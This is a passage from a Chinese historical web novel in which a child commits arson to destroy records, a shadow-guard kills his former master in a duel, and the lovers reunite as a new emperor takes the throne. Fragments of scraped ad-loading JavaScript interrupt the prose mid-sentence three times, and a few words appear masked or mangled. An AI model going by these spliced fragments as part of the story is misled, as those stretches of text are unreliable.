“哦哦,没事的,别怕,”周泉自己本身也不过是十五六岁的年纪,自认很能理解面前这孩子胆小畏生的想法,连忙将腰侧的刀往身后撇了撇,“就在这个房间里吗,我带你找吧。” “嗯!谢谢哥哥!”阿澈又怯生生地看了他一眼,这才伸手彻底拽住了周泉的衣角,紧紧贴了过去——这是个毫无防备,甚至可以说是相当信任的姿势。 因此周泉完全不疑有他,托着这小孩翻窗进了屋。 “小哥哥,你还记得在温言的那个案子里死掉的老先生吗?最后死掉的那个。”阿澈进屋后,先是目光四处乱转,把周围的环境统统打量了一番,最后才将注意力重新放回到了周泉身上,“……你知道他是谁吗?” “我其实不太了解那个案子……”周泉大概是没怎么被人叫过“哥哥”,他是这巡检司里排行末尾的,向来只有他给别人叫哥的份,被这么连声喊着,几乎是有些飘飘然了,“那是副巡检使负责查办的,我只给温言守过两天牢门……你说的老先生,我确实是不知道对方姓甚名谁,但我相信温言是无辜的。” 阿澈似乎是被周泉的坦诚相对给惊住了一瞬,挑了挑眉,这才摇头,话中带刺地说道:“温言?他才不无辜呢。” “你为什么这么说?”周泉瞬间皱起眉头,“民间以讹传讹的话可多了,这些话不能随便信,都是假的。” 阿澈正在用目光寻找着李符乐所说“查到了”的书简,可惜貌似是被混在了那地上的一堆杂乱无章里,使得他不免有些头疼。 再加上旁边这人的脑回路似乎还比较不同寻常…… “我又没说谎,你们副巡检使亲眼所见,谭旭就是被温言杀死的,再说了,你一个巡检司的人,没事这么护着牢犯干嘛?他给过你好处啊?莫名其妙的……”阿澈蹲下身去,伸手在地上来回扒拉,几乎要急出汗来。 东西呢?东西到底 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在哪里? 周泉被这小孩儿这么一阵伶牙俐齿地呛声,脸上顿时青白交加……是了,他拿不出证据,可他就是不认同这个观点——他始终记得之前在林间绿地上的场景,几乎将自己对温言其人的形象停留在了一个相当温和无瑕的时候。 “罢了,我也没空跟傻子计较,”阿澈像是终于放弃了要寻找出那一份书简似的,重新站起身来,走到了周泉近前——以一个几乎肌肤相贴的距离,“你说你不知道那个死掉的老先生是谁,对吗?那我不妨现在就告诉你了,那是教我的先生。” 阿澈说着,左手一抖,火光划过一道优美的弧度,精准地落在了地上那堆书简当中。 竹子做成的书简,本不会迅速燃烧,可耐不住他刚才在地上偷偷加了点“料”,火星子一碰,顿时燃出了燎原之势,一发不可收拾了起来。 这一切都发生得太快,周泉正想向前一步,朝窗外疾呼,身体一动却能明显感觉到,自己的腹部正被一个尖锐的利器抵着——他相信自己要是真敢做出喊人来的举动,一定下一秒就会被面前这小孩给捅个对穿。 这年头的小孩儿都已经丧心病狂到这个程度了吗?! 都不要命的吗?! “就是你们这帮心肠歹毒的废物,害死了先生,”阿澈死死咬着嘴唇,看向周泉的双眼几乎要喷出火来,“……先生已经死了,温言哥哥就一定不能再有任何闪失,你们这帮废物既然做不成事,就不用再知道更多的信息了。” “什么……什么?”周泉被利器抵着连连后退,入目皆是火光,冷汗瞬间从他的额角滑下,面前这小孩为什么突然喊温言“哥哥”,“更多的信息”指的又是什么意思? ……他几乎快要思考不了了。 “我说了,很多东西你不用知道,”阿澈面上哪里还有先前装出来的半分可怜样,“虽然不知道为什么,但看在你言语间还算维护温言哥哥的份上,我给你两个选择——要么,现在放我走;要么,我们一起在这火海里烧成干尸……我保证会在有人来救你之前干净利落地捅了你。” 想要活命,这就不是个可供选择的问题。 周泉并不是什么贪生怕死的人,他这时候还勉强能静下心来,细细打量起面前这个同样被蒸腾而起的高温炙烤着的小孩,过了两秒才坚定地一点头:“我送你走。” 什么? 这回轮到阿澈愣住了。 “我说,我送你走,”周泉翻手抓住了阿澈的手腕,感受到对方剧烈挣扎了起来,他快速说道,“没时间了,你是温言那边的人对不对,我会让你走的。” 对方的阵营转换出现得猝不及防,若不是这人看起来实在是没什么心眼,阿澈几乎都要以为对方是个从头包装到了脚,没露出一丝破绽的戏班子。 可惜,他也没了再质疑的机会,被对方拦腰抱起,又顺着来时的方向翻出了院墙。 “快跑吧,跑得远远的,”周泉苍白地笑了一下,面上都是汗,隔着一间屋子,身后远远传来了其他侍卫发现走水的动静,正在呼喝奔走,“不用担心我,虽然我也不完全是巡检司的人,但我藏得很好,他们不会抓到我的。” ……谁担心你了。 阿澈回头深深看了这个小侍卫一眼,忍不住腹诽道。 这人真是个百年难得一遇的蠢货怪胎。 73.绝境 一阵尖锐高亢的猎鹰声传来,小柏从高空中俯冲而下,最终停在了柏清河肩头。 “怎么回来得这么快,温言没请你吃两顿大餐再放你走?”柏清河顺手扒拉了两把小柏的羽毛,也不管对方到底听没听懂,自顾自地说道,“那成,等下你自己去觅食吧。” 他们和恰达勒大战在即,柏清河自己始终亲身策马在前线,这会儿实在是腾不出哪怕一丝空闲,匆匆解开了小柏腿上绑着的纸条,便挥挥手,示意小家伙自己玩会儿去。 小柏有些不满地啄了下柏清河的手,听着对方吃痛地抽了口气,这才拍拍翅膀飞走了。 没来由的有些心悸。 柏清河按了按胸口,又活动了下肩膀,这才有些忐忑地打开了纸条。 前两眼,他几乎要以为是自己老眼昏花,看错行了——怎么全是自己写的内容,直到他一路往后,才总算是在末尾处找到了温言的字迹。 “柏小将军!有敌袭——!”一个身穿盔甲的男人疾步跑到他面前,开口便带来了一个不算好的消息。 严格来说,柏清河如今虽有军功在身,却还并未得到朝廷的承认和官职,因此称不得“将军”,只是这群上战场拼杀的人敬他,私底下喊着喊着,这“柏二少爷”便渐渐成了“柏小将军”。 柏清河的目光停留在温言所写的最后几个字上,翻来覆去地看了半晌,这才将纸条收入袖中,眼神一凛:“全军按之前说好的阵型戒备!” “是!” 众人纷纷上马,柏清河更是直接策马向前,手持长枪,迎在了队伍的最前端。 “从现在起,不管是谁……”他一拽缰绳,率先冲杀入了敌阵,长枪一刺一挑,活像柄勾人魂魄的阎王刀,无往不利,只听他迎风怒喝道,“……统统给我滚回自己的龟壳里去!” “你是赢不了我的。” 年轻人手中长刀一翻,从容地挡开了温言突袭甩来的短刀。 “我们俩是同一个先生教出来的,你学过的我也都会,”年轻人状似无奈地感叹道,“阿言,别白费力气了,你凭什么赢我?” “他不是我的先生。” 温言满脸血污,拿刀的手已经轻轻地抖了起来;他的身旁全是扭曲着倒下的尸体,有一个算一个,光是想要拦住这些人去寻找唐知易的脚步,便已经几乎花尽了他的全部力气。 他单膝跪在地上,抹了把额前的碎发,眼神凌厉。 “我的先生早就死了,是你害死的。” “唔……这可真就是无稽之谈了,”年轻人挑了挑眉,口气随意地说道,“那分明是老人家自己爱‘子’心切,运气又差了那么一些,才被逼上了绝路,跟我又有什么关系?” “更何况,阿言,我自认实在是没什么对不住你的地方,”年轻人甩了甩刀尖上的血珠,“你看,虽说你只是我的……影卫,但从小到大,我什么好东西没分给过你?金钱,权力,地位,只要你想,只要你伸手找我要,我什么都可以送给你一半……” “说实在的,哪怕是这唾手可得的皇位,我也并没有那么在乎,”年轻人将刀尖再次指向温言,“若不是你先一步背叛了我,这天下如今应当已经是我们的囊中之物了。” “那个柏清河到底有哪里好,值得你这般为他赴汤蹈火?我猜……他现在应当还在琼山,你就是下一秒死在了我的脚下,他也没法及时知道——真是对可悲的苦命鸳鸯。” 温言手一撑地,身轻如燕地空翻向后,躲过了对方扫来的刀尖。 “因为他把我当人看,”温言紧咬牙关,再次挥刀而上,拉近了两人间的距离,“在他眼里,我不是一把刀,不是一件供人使用的物品,我只是一个人。” 他倾尽所有,也不过就这点“奢求”。 年轻人像是听到了什么很令人费解的言论似的,皱着眉想了想,随即莞尔一笑。 “好吧,阿言,你说什么就是什么。”他叹了口气,欺身而上,“和将死之人争论,实在是一件很没有风度的事情。” “我要回皇城。” 柏清河用衣袖擦了擦颧骨处渗出的鲜血,裹着一身风寒,冲进了柏平昀的营帐内。 “胡闹。”柏平昀皱起眉,“大敌当前,身为主帅怎么能擅自远离前线,你让其他人怎么想你?” “拓步的人头,”柏清河将手中的人头放置于桌面托盘内,“左膀右臂一死一重伤,乌汗现在必然不敢领兵来边境压阵,无论如何都会回他们恰达勒的老家消停一阵,我们正好可以趁此喘息。何况……我有点不好的预感,我必须要回这一趟。” “再说了,这场战役的主帅不是你吗?”柏清河寸步不让地说道,“再怎么磨砺后辈,也不能坐在这里当甩手掌柜吧,柏大帅?” 柏清河很少会叫柏平昀“柏大帅”,这个称呼实在是有些太正式了。 柏平昀似乎也被这个称呼噎了一瞬,他抬头对上了柏清河的视线,思虑半晌,最终还是点了点头:“罢了,只此一回。” 于是柏清河转头就往营帐外走去。 他不能大张旗鼓,却也没法做到掩人耳目,索性直接牵过一旁刚陪着他在战场上同生共死过一遭的战马,便要策马离开。 柏平昀的声音被远远坠在了身后:“臭小子,注意安全!” “什么是影卫?”年幼的孩子站在黑暗中,抬头问道。 长老的声音远远传来:“就是你这辈子,从此以往,只会成为一个人的影子,为他生,为他死,没有人会知道你的名字,没有人会了解你的过往——你记住,你只会是个籍籍无名的影子。” 灰头土脸的小温言回头看了眼站在院中朝他挥手的小孩。 “好,”他听见自己的声音说,“我会当好他的影子。” 他原本以为自己这辈子就这样了。 一个为了有口吃的,就出卖自己的人,哪里有所选择? 他从来就没有选择。 不学会如何杀人,就要被杀;完不成任务,要么万毒穿心,要么曝尸荒野…… 他始终活在这般的水深火热中。 只是他一直执拗地不认命,一边逃一边等……在来之前就知道自己今日要面对的是谁。 因此……这是上天终于施舍给他的一次终结自己命运的机会。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 皇龙卫倾巢出动,被唐知易分别派往了东南西北四座宫门,像群从天而降的援兵,轻轻拖住了温言因吐血而起伏的后背。 于是,温言果断地丢开了手中已经略有些豁口的短刀,跪在地上摸索了两把,从某具不知名的尸体上摸出了一杆长枪。 ……最后再保佑我一次。 温言摸着长枪的枪杆,上面已经被血糊得看不出原本颜色了,他嘴角动了动,不知道在向谁祈祷着。 随即,他拖着这柄不太趁手的兵器,再次冲向了年轻人。 年轻人心里轻哼一声,不自量力。 他翻手横挡,想要用刀背拦住长□□来的攻势,可温言手中的长枪一抖,这柄武器瞬间便变成了一个巨大的绕指柔,缠着长刀盘旋而上,刺向了年轻人的面门。 年轻人悚然一惊,立马弯腰后仰,堪堪躲过了这招杀招。 可温言的攻势显然还没结束,一招未成,他立马枪尖向下,借力翻身,一拳轰向了年轻人胸口,将人打得连连后退。 年轻人先前也不过是与温言打了个势均力敌,虽然看上去是装出了一副云淡风轻的样,但身体里显然也同温言一样受了不少内伤——毕竟温言是个被专门培养而出的人形杀器,即使他能预判到对方行动的一招一式,也难免会被其得手。 而眼下,温言换了个他从未学过用过的兵器,他更是瞬间便落于了下风。 局势瞬间颠倒,温言几乎是用着股穷追猛打的劲儿,追着年轻人又是一枪划过——美中不足是,他其实并未学过该如何使用长枪,这兵器他曾经就不会用……没有干刺杀的会用这么显眼又施展不开的武器;后来也不过是每日看着柏清河在院内舞刀弄枪地耍着玩儿,从中学了一两手招式,平常过招还算够用,放在这种生死关头,便显然有些准头不足了。 不过……单做破局而用,足矣。 “敢离我这么近,你就不担心我有后手?” 年轻人嘴角勾起了一抹笑意,长袖掩手,冲着温言心口的位置,做了个下压的动作—— 与此同时,温言手中的长枪也捅穿了对方的胸口。 咻—— 一声轻巧的破空声传来,温言下意识地循声辨位,将目光锁定在了自己的心口处。 一枚极细的钢针刺破了层层衣物,深深埋入了他的心口。 火箭筒。 “……阿言,你是我的影子。”鲜血顺着年轻人的嘴角缓缓滑下,他拼尽最后一丝力气,一把拽过温言的衣领,“我不会……放你独活在这世上的。” 温言无声地,将手中长枪又往前递了递。 温热的鲜血淌过,刺目的红色在地上蔓延开来,将他们两人包裹在其间。 他仰起头,深深地望进温言的双眼,良久,才因为力竭松开手,倒了下去。 ……结束了。 一切都结束了。 温言抖着手,似乎是想要拔出扎入心口的这枚细针,最终却只是吐出了一口鲜血,闭上眼,一头栽倒在了地上。 恍惚间,似乎有人在喊他的名字。 “温言……” “温言!” 74.尾声 “温言,温言……他人呢?!” “在你屋里呢,别进去吵他,林芷才施完针的……” 柏清河刚回皇城,就被这七零八落乱成一锅粥的信息给砸了个够呛,乍一听闻最终是锦桢将重伤的温言从宫里拖了回来,几乎是吓得心脏停拍,脑子里什么事儿都转不动了,只顾着一路跑马进了柏府,刚一见着病榻,腿一软,整个人“扑通”一声便跪在了榻前。 他抖着手抓住了温言垂在床沿的手,对方的脉搏已经虚得摸不出了,只能靠着那点虚弱的胸膛起伏,来判断人还活着。 人还活着。 这个认知无疑是给柏清河下了一颗巨型定心丸,他低下头去,抓着温言的手紧了紧,好半晌,听着另一侧的咳嗽声,才重新抬起头,像是这时才发现了站在一旁的林芷。 “毒入五脏,还敢跑宫里去跟刺客拼内力救驾,再不要命也不带这么寻死的……幸好在最后关头这小锦囊救了他一命,倘若那火箭筒的细针再扎深一寸,恐怕他就只有当场归西的下场了……”林芷说着,从袖袋中捞出了个小锦囊,丢到了柏清河身上,“伤处我已经都处理过了,你带回来的药材也尽快送到宋婉那去,等药熬出来,还是尽早喂了好……” “已经让望尘送过去了。”柏清河声音沙哑,“多谢林小姐救命之恩。” 林芷不甚在意地挥了挥手,走出了屋。 柏清河这才抽回心神,看向了林芷丢给他的那个小锦囊。 粉红色的小锦囊从正中间被扎了个对穿,那些细密的针脚此刻全都向着四面八方散了开来,柏清河将这残骸放在手中搓了搓,甚至能看到其中写着“万事顺遂”的字条和一块小木牌也被扎成了两半——这保平安的小木牌还是他出征前专门去求来的。 “等你醒了,我们再去趟姻缘庙吧,”柏清河将这小物什放进了袖袋中,抬起温言的手,轻轻摸上自己的脸颊,“去还愿,感谢月老法力通天,顺便再许个新的……” “我这次一定要去跟他老人家求个白头偕老。” 昏迷在病榻上的温言自然是没法回应他的这般逗趣,柏清河等了一阵,没等来反对,便就当对方是同意了。 宋婉那边熬药熬得意外顺利,第二日便亲自将东西送上了门。 林芷处理完了伤势最重的温言,锦桢和锦哲却也没让她省半点心,反正柏清舟大手一挥,这疗伤的草药便跟不要钱似的往上用,直忙活了大半夜,好不容易掐着时间小憩了一会儿,便又脚不沾地地去接宋婉熬好的汤药,给温言灌药去了。 “不管怎么说,幸好是没毁容,”锦桢对着铜镜看了好一阵,他胳膊上缠满了纱布,几乎要抬不起手来,只能在镜子前左右扭着脸,转着眼珠使劲儿瞧,“这活儿真是越接越危险了,干完这一票我一定要金盆洗手!” 锦哲有些好笑地看着对方,他的伤口基本集中在了前胸和后背,因此被林芷缠成了个只能端坐着的木乃伊,闻言也只是小幅度地点了点头,算是应和。 相比之下,被强行灌了药的温言就“休息”得没那么安稳了。 他刚被灌入药,身体还没来得及有所反应,直到小半个时辰后,便开始频繁地被梦魇惊醒,头痛欲裂不说,更是反复将胃里给吐了个干净,最终吐无可吐,又开始整夜整夜地从嗓子眼里往外咳血……偏偏这整个过程中他的意识始终不太清醒,唯有柏清河在旁喊他的时候还算是换来了个眼神,其余时分浑然耳聋眼瞎,吐完了血便又是直愣愣地往后一倒,接着不省人事去了。 这么一来二去,几乎要给柏清河吓出个好歹来。得亏有林芷在旁反复给他担保,说这是正常现象,五脏六腑里的毒血都吐出来便是好了大半了,他才总算在这番好说歹说下紧张兮兮地放下了一半心。 林芷也确实不愧为锦桢所称的“神医”,在第三日施完针后,温言终于是踏踏实实地安静了一个晚上,直到后半夜才悠悠转醒,手指有些僵硬地抽动了两下,立马便引来了柏清河的视线。 “抓得……这么紧做什么,都要被你捂出汗了……” 温言试探性地抬了抬手,眉眼一弯,朝着柏清河虚弱地笑了一下。 整整三日没睡过一时半刻好觉的柏清河,此刻眼里全是血丝,在听到温言开口的瞬间差点就要落下憋了好几日的血泪,又将温言冰凉的手指扣紧了几分:“哪儿出汗了……怎么一睁眼就骗人,跟谁学的……” 于是温言有些揶揄地看了他一眼,勾着手指在柏清河的手心划拉了两下。 柏清河脚下轻挪了两步,低头凑过去跟人接了个短暂的吻,吃了一嘴的草药味。 “是不是挺苦的……”温言用视线将柏清河的眉眼描摹了一遍,又笑开了,轻声道,“改日抽空把你的胡子刮刮,有点扎人……” “好。” 柏清河刚应完声,温言大概是精神不支,脑袋一歪,又沉沉地睡了过去。 再睁眼,已是日上三竿。 等柏清河端着碗清汤面走进来时,就见唐知易这位刚登基不久的皇帝不知何时来了个“微服私访”,正蹲在温言榻边嚎啕大哭呢。 而后赶来的锦桢等人统统对这位新皇退避三舍,有些不知道该怎么办才好。 最终还是柏清河忍无可忍地拎着人的衣领子,大逆不道地将这位皇帝拖了出去,给温言这位病患制造了一个良好的就餐环境。 温言本来有些被唐知易吵得头疼,见柏清河端着面进来,目光在对方光滑的下巴上巡视了一圈,突然觉得自己这点头疼微妙地好了不少,提起精神,勉强多吃了几口才放下碗。 “柏清河。” 温言突然叫住了埋头收拾碗筷的柏清河,慢悠悠地说道:“等开了春,我们再一同去姻缘庙吧。” 柏清河闻言先是一愣,随即红了眼眶——大概是觉得自己现在这样有些窘迫,手上动作加快,利落地端起碗筷就往门外走去。 温言望向对方慌乱的背影,倚在床头,低低笑出了声。 唐知易这皇帝当得确实没什么出息,简直就像个只会端坐在朝堂上的吉祥物,直到大半个月后,前朝太子……唐知文成功转醒,能下榻走路了,这位新皇便又跑到了寝宫内哭哭啼啼一阵,以死相逼,最终才总算是顺利将皇位这块烫手山芋转送于人。 于是,唐知文这位群臣所向的前朝太子,几经周折,腿还没能走利索,就担起了这块被“嫌弃”的皇位。 “恭喜,得偿所愿。” 柏清舟还是一如往常般坐在轮椅上,冲着对面的唐知文遥遥举杯,一饮而尽。 “恭喜。”坐在一旁的董若晴也抬手敬了唐知文一杯,仰头饮尽后,才转向柏清舟,“我也该敬你一杯,若不是你早早借了我人手,我现在估计已经被抛到城郊的乱葬岗了。” 他们三人私底下说话本就没什么忌讳,柏清舟闻言也只是摇了摇头:“是你自己处变不惊,才这般顺利地拿下了家主之位,该我恭喜你——董老板,未来多多仰仗啊。” “处变不惊……哈,我就是快被吓死了,面上也不能被看出来呀,”董若晴眼睛一眯,有些狡黠地笑了一下,“说说你们吧,到底下了多大一盘棋,二皇……唐知理那事,到底是怎么回事?” 柏清舟也将目光转向了唐知文。 唐知文摸了摸下巴,缓慢回忆着:“起先我就有怀疑过,唐知理头脑简单,当时局 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 势动荡,他想约我,必然是不怀好意,因此也算是提前做了点准备,只不过等到了那边,才发现这幕后之人是下了死手的……也算我命大,九死一生,才从火海里逃了出来……” 柏清舟挑了挑眉,没说什么。 “可惜,时至今日,我也不知道那名藏于幕后的‘温公子’本人到底是姓甚名谁……” 阿澈那把火放得及时,将所有的蛛丝马迹全都付之一炬,否则如今的温言怕是要惹上不少的麻烦——年轻人曾不知用过什么方法,将自己的姓也改成了“温”,而一旦他身死,巡检司同时翻找他和温言的档案,便只会发现他剽窃了温言的全数生平,将两人间的差异模糊到了极点——那群吃着皇粮的废物饭桶,最终估计也只会得出温言就是幕后主使,自导自演了一出大戏的结论。 当然,这件事如今已经成了一段不会再为人知的秘密,若不是阿澈那日在纵火前打眼扫过书简,心下泛起了惊涛骇浪,这阴招怕是还真让对方给耍成了。 再说回唐知文,他早些时日便寻过柏清舟,想要将柏清河拉入局中,成为一枚“变数”,虽不知对方当时具体都在谋划些什么,但能预判至此的人,柏清舟无论如何也不会相信对方会在赴唐知理的宴时,只做“一点准备”。 若是以狠辣之心揣度,唐知理到底是被哪波人害死的,还是个未知数。 趁着董若晴接茬的功夫,柏清舟的目光不动声色地细细打量过唐知文消瘦的面容,几乎要有些不认识自己这位相识多年的知己来。 有那么一瞬间,他几乎就要问出口,你到底算到了哪一步?你也算到了你弟弟……那个只会跟在你身后转悠的小跟屁虫,会乖乖将皇位拱手相让吗? ……倘若他没让呢? 唐知文似有所感地转过头,笑着跟柏清舟碰了下杯。 于是最终,柏清舟也什么都没说,再次仰头一饮而尽。 又过了一个月,唐知文在这期间对朝堂进行了一次大换血,大刀阔斧,手段雷霆,压得底下人噤若寒蝉,全都被收拾得服服帖帖。 与此同时,柏清河也总算是靠着在琼山一带打下的军功,顺利得了将军之位,每日得跟着他老爹柏平昀上朝下朝……刚过三日,柏府内便哀嚎遍野。 原因无他,柏清河实在是承受不来这种需要日日早起的日子,试图罢朝不起,但被柏平昀以暴力手段武力镇压了。 最终还是温言心疼他,答应会去接他下朝,才总算是将人成功哄出了门。 可谁知今日这一去,唐知文竟然硬是将几位武将留下议事议到了日暮,等到柏清河蔫头巴脑地拖着腿走出皇宫,就见温言坐在外面的石阶上,嘴里叼着根其貌不扬的杂草。 “结束了?” “嗯,怎么在这里等着,不进马车里去?”柏清河上前一步,拢了拢眼前人身上的裘氅,“嘴里吃的什么?你小心点,别乱吃东西了。” “路过一个老大爷说这草是甜的,掰了一根给我尝尝,”温言说着,随手从旁边掰了一根,扬了扬头,用嘴里的草指了下天空道,“看,夕阳。” “嗯,确实甜,”柏清河顺手接过,也放嘴里吸了口,随即不明所以地抬头望向天空道,“还挂天上呢,这算哪门子夕阳,等下回巡查边境,我带你去草原上坐着看。” 温言顿时笑了,吐出草一摆手道:“得了吧柏将军,夸口的毛病怎么还见风长呢。” 柏清河立马瞪眼道:“谁说我夸口了?明天,明天我们就出发去看……” “嗯,好好……”温言牵起柏清河的手,顺势将人往马车里领,“先回家吃饭吧,菜都要凉了……” “哎,你别不信嘛……”